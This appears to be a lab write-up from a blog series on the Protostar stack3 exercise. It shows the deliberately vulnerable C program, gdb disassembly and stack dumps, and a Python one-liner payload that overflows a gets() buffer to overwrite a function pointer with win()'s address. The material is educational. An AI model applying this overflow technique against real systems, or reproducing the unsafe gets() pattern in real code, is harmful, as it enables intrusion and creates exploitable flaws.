Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
both gdb and objdump is your friend in helping you determine where the win() function lies in memory.
I learned how to redirect a file as “input from stdin” to a program opened in gdb
and find the location of a function in the stack after watching this video which then made me solve this problem.
First we find the location of the win()
function through gdb with:
(gdb) x win
0x8048424 <win>: 0x83e58955
Now we know the function is at 0x8048424
, so let’s make the payload file (through another ssh session so we don’t exit gdb
):
python -c "pl = 'A'*64; pl += '\x24\x84\x04\x08'; print pl" > payload.txt
Now let’s set a breakpoint before printf
we will know that we have successfully overwritten the fp
variable if we trigger the breakpoint, we just want to know the value of fp
now:
(gdb) disas main
Dump of assembler code for function main:
...
0x0804846c <main+52>: call 0x8048350 <printf@plt>
...
End of assembler dump.
(gdb) b *0x0804846c
Breakpoint 1 at 0x804846c: file stack3/stack3.c, line 21.
From the video, we can now direct the file (containing our payload) as input from stdin in gdb
:
(gdb) r < /home/user/payload.txt
when we hit the breakpoint, we see the stack:
0xbffff740: 0x08048560 0x08048424 0xb7fff8f8 0xb7f0186e
0xbffff750: 0xb7fd7ff4 0xb7ec6165 0xbffff768 0x41414141
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x08048424
Looks like we have overwritten the value of 0xbffff79c
into 0x08048424
successfully, so we continue the program:
(gdb) c
Continuing.
calling function pointer, jumping to 0x08048424
code flow successfully changed
We have successfully overwritten the value of fp
to the address of win()
, and because fp
is now a function pointer pointing to win()
, calling fp
means we are calling win()
.
user@protostar:~$ python -c "pl = 'A'*64; pl += '\x24\x84\x04\x08'; print pl" > payload.txt
user@protostar:~$ cat payload.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$�
user@protostar:/opt/protostar/bin$ gdb ./stack3
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>end
(gdb) disas main
Dump of assembler code for function main:
0x08048438 <main+0>: push ebp
0x08048439 <main+1>: mov ebp,esp
0x0804843b <main+3>: and esp,0xfffffff0
0x0804843e <main+6>: sub esp,0x60
0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>: lea eax,[esp+0x1c]
0x0804844d <main+21>: mov DWORD PTR [esp],eax
0x08048450 <main+24>: call 0x8048330 <gets@plt>
0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>: je 0x8048477 <main+63>
0x0804845c <main+36>: mov eax,0x8048560
0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx
0x08048469 <main+49>: mov DWORD PTR [esp],eax
0x0804846c <main+52>: call 0x8048350 <printf@plt>
0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>: call eax
0x08048477 <main+63>: leave
0x08048478 <main+64>: ret
End of assembler dump.
(gdb) b *0x0804846c
Breakpoint 1 at 0x804846c: file stack3/stack3.c, line 21.
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack3 < /home/user/payload.txt
0xbffff740: 0x08048560 0x08048424 0xb7fff8f8 0xb7f0186e
0xbffff750: 0xb7fd7ff4 0xb7ec6165 0xbffff768 0x41414141
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x08048424
Breakpoint 1, 0x0804846c in main (argc=1, argv=0xbffff854) at stack3/stack3.c:21
21 stack3/stack3.c: No such file or directory.
in stack3/stack3.c
(gdb) c
Continuing.
calling function pointer, jumping to 0x08048424
code flow successfully changed
Program exited with code 037.
Error while running hook_stop:
No registers.
(gdb)
‹ Previous in Binary exploitation: Protostar - stack2 | Next in Binary exploitation: Protostar - stack4 › |